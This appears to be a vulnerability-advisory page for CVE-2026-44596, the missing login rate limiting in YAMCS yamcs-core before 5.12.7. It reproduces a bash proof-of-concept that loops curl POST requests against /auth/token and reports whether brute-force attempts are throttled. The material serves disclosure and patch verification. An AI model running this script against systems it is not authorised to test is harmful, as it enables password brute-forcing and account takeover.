YAMCS yamcs-core versions prior to 5. 12. 7 suffer from a lack of rate limiting, which can allow excessive requests to the service. This issue is classified as medium severity and affects Linux platforms. Exploit code is available in bash, but no known exploits are reported in the wild. The vulnerability was disclosed with no direct patch link provided, but version 5. 12. 7 is indicated as the fixed version.

AI Analysis

Indicators of Compromise

• exploit-code: # Exploit Title: YAMCS yamcs-core 5.12.7 - No Rate Limiting # Date: 2026-05-27 # Exploit Author: Daniel Miranda Barcelona (Excal1bur) # Vendor Homepage: https://yamcs.org # Software Link: https://github.com/yamcs/yamcs # Version: < 5.12.7 # Tested on: Linux # CVE: CVE-2026-44596 # Category: Remote / Brute Force # Advisory: https://github.com/yamcs/yamcs/security/advisories/GHSA-w5r6-mcgq-7pq4 #!/bin/bash # ============================================================ # CVE-2026-44596 — YAMCS No Rate Limiting on /auth/token # ============================================================ # Vulnerability: POST /auth/token accepts unlimited login # attempts with no rate limiting or lockout. # Impact: Unauthenticated brute-force of any account. # Affected: yamcs-core < 5.12.7 # Fixed in: yamcs-core 5.12.7 # CWE: CWE-307 # CVSS: 5.3 MEDIUM # ============================================================ # Usage: ./poc.sh [target] [username] [attempts] # Example: ./poc.sh http://localhost:8090 operator 20 # ============================================================ TARGET="${1:-http://localhost:8090}" USERNAME="${2:-operator}" ATTEMPTS="${3:-20}" LAST_STATUS="" echo "============================================================" echo " CVE-2026-44596 — YAMCS No Rate Limiting PoC" echo " Target: $TARGET" echo " Username: $USERNAME" echo " Attempts: $ATTEMPTS" echo "============================================================" echo "" echo "[*] Sending $ATTEMPTS unauthenticated login attempts..." echo "[*] Vulnerable: HTTP 401 every time, never HTTP 429" echo "" for i in $(seq 1 $ATTEMPTS); do RESPONSE=$(curl -s -o /dev/null -w "%{http_code}" \ -X POST "$TARGET/auth/token" \ -H "Content-Type: application/x-www-form-urlencoded" \ -d "grant_type=password&username=$USERNAME&password=wrongpass$i") echo " Attempt $i/$ATTEMPTS: HTTP $RESPONSE" LAST_STATUS=$RESPONSE if [ "$RESPONSE" = "429" ]; then echo "" echo "[+] HTTP 429 received — rate limiting active (PATCHED)" exit 0 fi if [ "$RESPONSE" = "200" ]; then echo "" echo "[!!!] HTTP 200 — credentials found at attempt $i" exit 0 fi done echo "" if [ "$LAST_STATUS" = "401" ]; then echo "[!!!] VULNERABLE: $ATTEMPTS attempts, no rate limiting detected" echo "[!!!] Brute-force possible without restriction" fi echo "" echo "============================================================" echo " Fix: Upgrade to yamcs-core >= 5.12.7" echo "============================================================"